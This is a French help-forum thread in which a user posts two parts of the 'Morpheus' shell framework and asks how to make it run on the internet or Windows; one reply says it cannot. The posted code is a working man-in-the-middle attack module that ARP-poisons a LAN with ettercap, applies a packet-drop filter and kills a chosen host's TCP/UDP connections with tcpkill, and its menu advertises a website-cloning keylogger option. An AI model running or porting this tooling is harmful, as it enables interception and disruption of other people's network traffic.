Rendre un fichier(s) sh utilisable sur internet

-
Bonjour, j'ai un petit script en sh que j'aimerai rendre utilisable sur internet voici le script (en deux partie)

partie 1:


# -------------------------------------------
# DROP/KILL TCP/UDP CONNECTION TO/FROM TARGET
# -------------------------------------------
sh_stage3 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will drop/kill any tcp/udp connections attempted ${BlueF}|"
echo "${BlueF} | ${YellowF} to/from target, droping packets from source and destination.. ${BlueF}|"
echo "${BlueF} | ${YellowF} ${BlueF}|"
echo "${BlueF} | ${YellowF} 'This module uses etter filters and tcpkill to kill connections' ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then

ch=`which tcpkill`
if [ "$ch" != "$TcPkiL" ]; then
echo ${RedF}[x]${white} tcpkill utility not found${RedF}!${Reset};
sleep 1
echo ${RedF}[x]${white} please Install:${RedF}dsniff${white} packet...${Reset};
sleep 3
sh_exit
fi

# get user input to build filter
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1

echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
cp $IPATH/filters/packet_drop.eft $IPATH/filters/packet_drop.rb > /dev/null 2>&1
sleep 1

echo ${BlueF}[☠]${white} Edit packet_drop.eft${RedF}!${Reset};
sleep 1
fil_one=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
# replace values in template.filter with sed bash command
cd $IPATH/filters
sed -i "s|TaRgEt|$fil_one|g" packet_drop.eft # NO dev/null to report file not existence :D
cd $IPATH
zenity --info --title="☠ MORPHEUS SCRIPTING CONSOLE ☠" --text "morpheus framework now gives you\nthe oportunity to just run the filter\nOR to scripting it further...\n\n'Have fun scripting it further'..." --width 270 > /dev/null 2>&1
xterm -T "MORPHEUS SCRIPTING CONSOLE" -geometry 115x36 -e "nano $IPATH/filters/packet_drop.eft"
sleep 1

# compiling packet_drop.eft to be used in ettercap
echo ${BlueF}[☠]${white} Compiling packet_drop.eft${RedF}!${Reset};
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/packet_drop.eft -o $IPATH/output/packet_drop.ef && sleep 3"
sleep 1
# port-forward
# echo "1" > /proc/sys/net/ipv4/ip_forward
cd $IPATH/logs

# run mitm+filter
echo ${BlueF}[☠]${white} Running ARP poison + etterfilter${RedF}!${Reset};
echo ${YellowF}[☠]${white} Press ${YellowF}[q]${white} to quit ettercap framework${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
if [ "$LoGs" = "NO" ]; then
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -M ARP /$rhost// /$gateway//
else
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -L $IPATH/logs/packet_drop -M ARP /$rhost// /$gateway//
fi

else

if [ "$LoGs" = "YES" ]; then
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -M ARP /$rhost/ /$gateway/
else
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -L $IPATH/logs/packet_drop -M ARP /$rhost/ /$gateway/
fi
fi

# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
mv $IPATH/filters/packet_drop.rb $IPATH/filters/packet_drop.eft > /dev/null 2>&1
# port-forward
# echo "0" > /proc/sys/net/ipv4/ip_forward
sleep 2
rm $IPATH/output/packet_drop.ef > /dev/null 2>&1
cd $IPATH
# stop background running proccess
# sudo pkill ettercap > /dev/null 2>&1
# sudo pkill tcpkill > /dev/null 2>&1

else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}

partie 2 (présentation):

# -------------------------
# FUNTION TO EXIT FRAMEWORK
# -------------------------
sh_exit () {
echo ${BlueF}[☠]${white} Exit morpheus framework...${Reset};
sleep 1
echo ${BlueF}[${GreenF}✔${BlueF}]${white} Revert ettercap etter.conf ${Reset};
mv /tmp/etter.conf $Econ > /dev/null 2>&1
sleep 1
echo ${BlueF}[${GreenF}✔${BlueF}]${white} Revert ettercap etter.dns ${Reset};
mv /tmp/etter.dns $Edns > /dev/null 2>&1
sleep 1
mv $IPATH/bin/etter.rb $IPATH/bin/etter.dns > /dev/null 2>&1
rm $ApachE/index.html > /dev/null 2>&1
sleep 2
clear
echo ${RedF}codename${white}::${RedF}oneiroi_phobetor'(The mithologic dream greek god)'${Reset};
echo ${RedF}Morpheus${white}©::${RedF}v$V3R${white}::${RedF}SuspiciousShellActivity${white}©::${RedF}RedTeam${white}::${RedF}2018 ${Reset};
exit
}



sh_main () {
echo "nothing" > /dev/null 2>&1
}


Colors;
# -----------------------------
# MAIN MENU SHELLCODE GENERATOR
# -----------------------------
# Loop forever
while :
do
clear
echo "" && echo "${BlueF} ☆ ???????????????????????????????????? ???????????????????????????????? ????????????/???????? ???????????????????????????????????? ???????????????? ☆${BlueF}"
cat << !
███╗ ███╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗
████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝
██╔████╔██║██║ ██║██████╔╝██████╔╝███████║█████╗ ██║ ██║███████╗
██║╚██╔╝██║██║ ██║██╔══██╗██╔═══╝ ██╔══██║██╔══╝ ██║ ██║╚════██║
██║ ╚═╝ ██║╚██████╔╝██║ ██║██║ ██║ ██║███████╗╚██████╔╝███████║
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝
!
sleep 1
echo ${BlueF}" VERSION:${YellowF}$V3R${BlueF} DISTRO:${YellowF}$DiStR0${BlueF} IP:${YellowF}$IP${BlueF} INTERFACE:${YellowF}$InT3R${BlueF} IPv6:${YellowF}$IpV"${BlueF}
cat << !
╔───────────────────────────────────────────────────────────────────╗
| 3 [1] Drop all packets (src/dst) - packets drop/kill |
| 13 [+] Clone website + keylooger - javascritp_keylooger |
| 18 - Block cpu crypto-minning - drop/kill packets |
| 22 - tcp header information gather - capture http headers |
| |
| W [+] Write your own filter |
| S [+] Scan LAN for live hosts |
| E [-] Exit/close Morpheus |
╚───────────────────────────────────────────────────────────────────╣
!
echo "${YellowF} SSA_${RedF}RedTeam${YellowF}©2018${BlueF}_⌋${Reset}"
echo ${BlueF}[☠]${white} tcp/udp hijacking tool${RedF}! ${Reset};
sleep 0.8
echo ${BlueF}[▶]${white} Chose Your Option[filter]${RedF}: ${Reset};
echo -n "$PrompT"
read choice
case $choice in
1)
2)
3) sh_stage3 ;;
4)
5)
6)
7)
8)
9)
10)
11)
12)
13) sh_stage13 ;;
14)
15)
16)
17)
18) sh_stage18 ;;
19)
20)
21)
22) sh_stage22 ;;
W) sh_stageW ;;
w) sh_stageW ;;
S) sh_stageS ;;
s) sh_stageS ;;
e) sh_exit ;;
E) sh_exit ;;
  • ) echo "\"$choice\": is not a valid Option"; sleep 1.3 ;;

esac
done





Configuration: Windows / Chrome 49.0.2623.112
Afficher la suite 

1 réponse

Meilleure réponse
Messages postés
1905
Date d'inscription
vendredi 23 novembre 2007
Statut
Membre
Dernière intervention
12 août 2019
162
1
Merci
Tu ne peux pas le rendre executable par un navigateur car il ne traite pas les scripts bash.

Dire « Merci » 1

Heureux de vous avoir aidé ! Vous nous appréciez ? Donnez votre avis sur nous ! Evaluez CommentCaMarche

CCM 57558 internautes nous ont dit merci ce mois-ci

Nn en ajoutant les pkg nécessaires (si il n'y en à)
J'ai Kali Linux mais j'aimerais bien le rendre utilisable sous windows mais je suis pas sûr le pkg SH que j'ai (de termux) fonctionne sur terminale PC et puis il faut un Root
dabigben
Messages postés
1905
Date d'inscription
vendredi 23 novembre 2007
Statut
Membre
Dernière intervention
12 août 2019
162 -
Ya pas de package bash que tu installe pour que bash soit reconnu dans CMD, ça ne marche pas comme ça.

Ton script .sh ne fonctionnera pas sous Windows c'est comme ça.

Il n'y a pas d'utilisateur root sous Windows.

Bref ça m'a l'air un peu mal parti ton histoire ^^
Commenter la réponse de dabigben